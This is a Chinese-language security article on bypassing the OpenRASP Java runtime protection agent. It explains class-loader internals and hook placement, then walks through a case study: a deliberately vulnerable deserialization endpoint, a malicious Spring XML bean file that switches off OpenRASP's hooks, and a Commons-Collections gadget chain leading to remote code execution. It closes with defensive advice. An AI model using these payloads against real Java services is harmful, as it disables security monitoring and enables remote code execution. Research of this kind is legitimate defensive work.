关于OpenRASP的绕过实现
字数 1375 2025-08-22 12:23:00
OpenRASP绕过实现与分析
一、OpenRASP基础原理
1.1 RASP工作机制
OpenRASP利用Javaagent机制实现防护:
premain:启动时加载agentagentmain:启动后加载agent
初始化时会将rasp.jar路径加载到Bootstrap类加载器。
1.2 Bootstrap类加载器
核心特性:
- 负责加载核心Java类库(位于
<JAVA_HOME>/lib目录) - 使用本地代码(C/C++)实现,Java中表示为null
- 在双亲委派模型中位于最顶层
工作流程:
- JVM启动时首先加载核心类库
- 类加载请求首先委派给Bootstrap类加载器
- 找不到时依次向下委派(Extension ClassLoader → Application ClassLoader)
1.3 双亲委派机制
类加载器收到请求时的处理流程:
- 检查类是否已加载
- 未加载则委托父类加载器处理
- 父类无法加载时才自行尝试加载
类加载器层级:
- Bootstrap ClassLoader(核心类库)
- Extension ClassLoader(扩展库)
- Application ClassLoader(应用类)
二、OpenRASP防护实现
2.1 关键设计
OpenRASP将rasp.jar加入Bootstrap类加载器搜索路径的原因:
- 当hook由BootstrapClassLoader加载的类(如
java.io.File)时 - 无法从该类调用非BootstrapClassLoader加载的类
- 通过
appendToBootstrapClassLoaderSearch方法将检测代码放入Bootstrap搜索路径
2.2 防护实现方式
通过hook关键类方法,在原始方法前插入检测逻辑:
protected void hookMethod(CtClass ctClass) throws IOException, CannotCompileException, NotFoundException {
String src;
if (ctClass.getName().contains("ProcessImpl")) {
if (OSUtil.isWindows()) {
src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2",
new Class[]{String[].class, String.class});
this.insertBefore(ctClass, "<init>", (String) null, src);
} else if (ModuleLoader.isModularityJdk()) {
src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4",
new Class[]{byte[].class, byte[].class, byte[].class});
this.insertBefore(ctClass, "<init>", (String) null, src);
}
} else if (ctClass.getName().contains("UNIXProcess")) {
src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4",
new Class[]{byte[].class, byte[].class, byte[].class});
this.insertBefore(ctClass, "<init>", (String) null, src);
}
}
最终调用V8引擎执行JS检测逻辑(official.js)。
三、OpenRASP绕过技术
3.1 关键漏洞点
RASP检查调用堆栈时会忽略自身类(com.baidu.openrasp.*):
- 可以任意使用
com.baidu.openrasp包内的类 - 如果这些类存在安全问题,可导致防护失效
3.2 绕过思路
-
直接关闭RASP:
- 调用
Config.getConfig().disableHooks(true) - 其他关闭方法也可行
- 调用
-
利用危险类:
- 查找
com.baidu.openrasp包内的危险类方法
- 查找
3.3 实际绕过案例
环境配置
FROM goelhub/java-openjdk-8u66:8.0
USER root
COPY ./vulRASP.jar /app/vulRASP.jar
COPY rasp /app/rasp
EXPOSE 80
ENV JAVA_OPTS="-javaagent:/app/rasp/rasp.jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=:5005"
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS -jar /app/easyRASP.jar"]
漏洞应用代码
@PostMapping({"/load"})
public String ser(@RequestParam String data) {
try {
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(Base64.getDecoder().decode(data)));
ois.readObject();
return "RCE";
} catch (Exception e) {
return e.toString();
}
}
@PostMapping({"/upload"})
public String upload(@RequestParam("file") MultipartFile file) throws Exception {
File dir = new File("uploads");
if (!dir.exists()) {
dir.mkdirs();
}
File save_file = new File(dir.getAbsolutePath() + File.separator +
UUID.randomUUID().toString().toLowerCase() + ".tmp");
file.transferTo(save_file);
return "文件缓存在:" + save_file.getAbsolutePath();
}
利用步骤
- 上传恶意XML(
hackerbean.xml):
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="configClass" class="java.lang.Class" factory-method="forName">
<constructor-arg value="com.baidu.openrasp.config.Config"/>
</bean>
<bean id="configInstance" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetClass" value="com.baidu.openrasp.config.Config"/>
<property name="targetMethod" value="getConfig"/>
</bean>
<bean id="disableHooksField" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetObject" ref="configClass"/>
<property name="targetMethod" value="getDeclaredField"/>
<property name="arguments">
<list>
<value>disableHooks</value>
</list>
</property>
</bean>
<bean id="accessibleSetter" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetObject" ref="disableHooksField"/>
<property name="targetMethod" value="setAccessible"/>
<property name="arguments">
<list>
<value>true</value>
</list>
</property>
</bean>
<bean id="disableHooksSetter" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetObject" ref="disableHooksField"/>
<property name="targetMethod" value="set"/>
<property name="arguments">
<list>
<ref bean="configInstance"/>
<value type="boolean">true</value>
</list>
</property>
</bean>
</beans>
- 利用CC链加载XML关闭RASP:
// 使用InstantiateFactory和FactoryTransformer
InstantiateFactory instantiateFactory = new InstantiateFactory(
FileSystemXmlApplicationContext.class,
new Class[]{String.class},
new Object[]{"file:///uploads/7921b36b-35c0-466f-8332-b80ba2fff3ff.tmp"}
);
FactoryTransformer factory = new FactoryTransformer(instantiateFactory);
Map map = LazyMap.decorate(hashMap, factory);
TiedMapEntry tMapEntry = new TiedMapEntry(map, "a");
BadAttributeValueExpException bad = new BadAttributeValueExpException(new Object());
- 二次反序列化执行RCE:
- 使用常规CC链(如CC6)执行命令
Spring XML加载方式
ClassPathXmlApplicationContext:从类路径加载FileSystemXmlApplicationContext:从文件系统加载XmlBeanFactory:从类路径或文件系统加载
四、防御建议
- 加强
com.baidu.openrasp包内类的安全审计 - 对自身类的调用也应进行安全检查
- 避免直接暴露危险的反序列化接口
- 实施最小权限原则,限制敏感操作